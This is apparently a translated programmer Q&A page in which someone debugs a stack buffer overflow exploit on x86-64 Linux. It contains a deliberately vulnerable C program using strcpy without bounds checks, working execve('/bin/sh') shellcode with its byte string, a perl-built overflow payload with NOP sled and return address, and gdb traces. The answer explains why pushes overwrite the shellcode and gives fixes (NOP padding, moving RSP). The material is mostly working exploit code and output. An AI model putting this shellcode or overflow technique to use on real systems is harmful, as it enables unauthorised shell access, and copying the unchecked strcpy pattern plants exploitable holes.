堆栈中的代码本身会发生变化

时间:2015-01-08 15:12:20

标签: assembly

我正在测试堆栈中运行代码,导致溢出。我在堆栈中获得指向汇编程序代码的指令器指针,它开始运行。然而,在某一点上,指令似乎自行改变,我在解决这个问题时遇到了一些麻烦。

bug2.c:

#include <stdio.h>
# Very simple case, compiled by
# gcc -o bug2 -z execstack -fno-pie -fno-stack-protector bug2.c

int main(int argc, char * argv[]) {

    char buf[256];

    if(argc == 1) {

        printf("Usage: %s input\n", argv[0]);
        exit(0);

    }

    strcpy(buf,argv[1]);
    printf("%s", buf);

}

scode3.asm:

SECTION .text
    global _start

_start:

    xor rdx, rdx
    mov rbx, 0x68732f6e69622fff
    shr rbx, 0x8
    push    rbx
    mov     rdi, rsp
    xor     rax, rax
    push    rax
    push    rdi
    mov     rsi, rsp
    mov al, 0x3b
    syscall

    push    0x1
    pop     rdi
    push    0x3c
    pop     rax
    syscall

测试scode3.asm并获取shellcode:

$ nasm -f elf64 -o scode3.o scode3.asm
$ ld -o scode3 scode3.o
$ ./scode3
$ ... gave new shell... exit...
$ objdump -d scode3

scode3:     file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
  400080:   48 31 d2                xor    %rdx,%rdx
  400083:   48 bb ff 2f 62 69 6e    movabs $0x68732f6e69622fff,%rbx
  40008a:   2f 73 68 
  40008d:   48 c1 eb 08             shr    $0x8,%rbx
  400091:   53                      push   %rbx
  400092:   48 89 e7                mov    %rsp,%rdi
  400095:   48 31 c0                xor    %rax,%rax
  400098:   50                      push   %rax
  400099:   57                      push   %rdi
  40009a:   48 89 e6                mov    %rsp,%rsi
  40009d:   b0 3b                   mov    $0x3b,%al
  40009f:   0f 05                   syscall 
  4000a1:   6a 01                   pushq  $0x1
  4000a3:   5f                      pop    %rdi
  4000a4:   6a 3c                   pushq  $0x3c
  4000a6:   58                      pop    %rax
  4000a7:   0f 05                   syscall 

This makes "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31
\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01
\x5f\x6a\x3c\x58\x0f\x05"

然后测试:

gdb -q bug2
# Let's put breakpoint at the printf (see the c code)
> break *0x0000000000400641
 Breakpoint 1 at 0x400641
> x/i 0x0000000000400641
 0x400641 <main+123>:   call   0x400490 <printf@plt>
# Run with something that overflows, puts assembler code in stack, and leaves a pointer in stack pointing to the beginning of the assembler code
> run `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/meh/bug2 `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RCX: 0xBE90050F583C6A5F  RDX: 0x007FFFFFFFDCBE90  o d I t s z a P c 
  RSI: 0x00007FFFFFFFDBE0  RDI: 0x00000000004006F1  RBP: 0x00007FFFFFFFDCE0  RSP: 0x00007FFFFFFFDBD0  RIP: 0x0000000000400641
  R8 : 0x000000335BDB8E80  R9 : 0x000000335BDB8E80  R10: 0x000000000000005D  R11: 0x000000335BB7F980  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400641 <main+123>: call   0x400490 <printf@plt>
   0x400646 <main+128>: leave  
   0x400647 <main+129>: ret    
   0x400648:    nop    DWORD PTR [rax+rax*1+0x0]
   0x400650 <__libc_csu_init>:  push   r15
   0x400652 <__libc_csu_init+2>:    push   r14
   0x400654 <__libc_csu_init+4>:    mov    r15d,edi
   0x400657 <__libc_csu_init+7>:    push   r13
-----------------------------------------------------------------------------------------------------------------------------

Breakpoint 1, 0x0000000000400641 in main ()

# Okay, now let's step to the point where the instruction pointer is at the code that was put in stack:

> n 3
 0x00007fffffffdcbe in ?? ()
> x/16i 0x00007fffffffdcbe
=> 0x7fffffffdcbe:  xor    rdx,rdx
   0x7fffffffdcc1:  movabs rbx,0x68732f6e69622fff
   0x7fffffffdccb:  shr    rbx,0x8
   0x7fffffffdccf:  push   rbx
   0x7fffffffdcd0:  mov    rdi,rsp
   0x7fffffffdcd3:  xor    rax,rax
   0x7fffffffdcd6:  push   rax
   0x7fffffffdcd7:  push   rdi
   0x7fffffffdcd8:  mov    rsi,rsp
   0x7fffffffdcdb:  mov    al,0x3b
   0x7fffffffdcdd:  syscall 
   0x7fffffffdcdf:  push   0x1
   0x7fffffffdce1:  pop    rdi
   0x7fffffffdce2:  push   0x3c
   0x7fffffffdce4:  pop    rax
   0x7fffffffdce5:  syscall

这看起来像是正确的代码。然后手动步进系统调用:

> si
=> 0x7fffffffdcd6:  push   rax
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0068732F6E69622F  RCX: 0x000000007FFFFEF1  RDX: 0x0000000000000000  o d I t s Z a P c 
  RSI: 0x00000000004006F3  RDI: 0x00007FFFFFFFDCE8  RBP: 0x90050F583C6A5F01  RSP: 0x00007FFFFFFFDCE0  RIP: 0x00007FFFFFFFDCD7
  R8 : 0x00000000FFFFFFFF  R9 : 0x000000000000010E  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd7:  push   rdi
   0x7fffffffdcd8:  mov    rsi,rsp
   0x7fffffffdcdb:  mov    al,0x3b
   0x7fffffffdcdd:  syscall 
   0x7fffffffdcdf:  push   0x0
   0x7fffffffdce1:  add    BYTE PTR [rax],al
   0x7fffffffdce3:  add    BYTE PTR [rax],al
   0x7fffffffdce5:  add    BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd7 in ?? ()

(gdb) > si
=> 0x7fffffffdcd7:  push   rdi
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0068732F6E69622F  RCX: 0x000000007FFFFEF1  RDX: 0x0000000000000000  o d I t s Z a P c 
  RSI: 0x00000000004006F3  RDI: 0x00007FFFFFFFDCE8  RBP: 0x90050F583C6A5F01  RSP: 0x00007FFFFFFFDCD8  RIP: 0x00007FFFFFFFDCD8
  R8 : 0x00000000FFFFFFFF  R9 : 0x000000000000010E  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd8:  call   0x7fffffffdcb9
   0x7fffffffdcdd:  jg     0x7fffffffdcdf
   0x7fffffffdcdf:  add    BYTE PTR [rax],al
   0x7fffffffdce1:  add    BYTE PTR [rax],al
   0x7fffffffdce3:  add    BYTE PTR [rax],al
   0x7fffffffdce5:  add    BYTE PTR [rax],al
   0x7fffffffdce7:  add    BYTE PTR [rdi],ch
   0x7fffffffdce9:  (bad)  
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd8 in ?? ()

我期待下一条指令是mov rsi,rsp,但似乎从那一点开始的所有事情都发生了变化。

我怀疑推送到堆栈是否会覆盖我之前插入的数据(说明)?解决这个问题的最小方法是什么?

我尝试用

之类的东西来移动代码
run `perl -e 'print "\x90" x (263-81) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90" x 40 . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`

但它似乎对我没有帮助。

1 个答案:

答案 0 :(得分:1)

  

我怀疑推送到堆栈是否会覆盖我之前插入的数据(说明)?解决这个问题的最小方法是什么?

这是对的,你实际上是在你自己的脚下修改代码(或者更确切地说,你自己的RIP)。 想到两个简单的解决方案

  • NOP填充

使用几十个免费的NOP指令启动你的shellcode,这样当你到达PUSH指令时被覆盖的是你背后的NOP,而不是你当前试图运行的代码。

  • 将RSP移开

如果您不打算从shellcode返回正常的堆栈帧并且您有严格的大小限制,则可以将RSP向上移动一点,以便PusHes不会在您当前的RIP下发生。 这将覆盖堆栈上的重要信息,但您可能不介意,如果您已经在那里运行shellcode。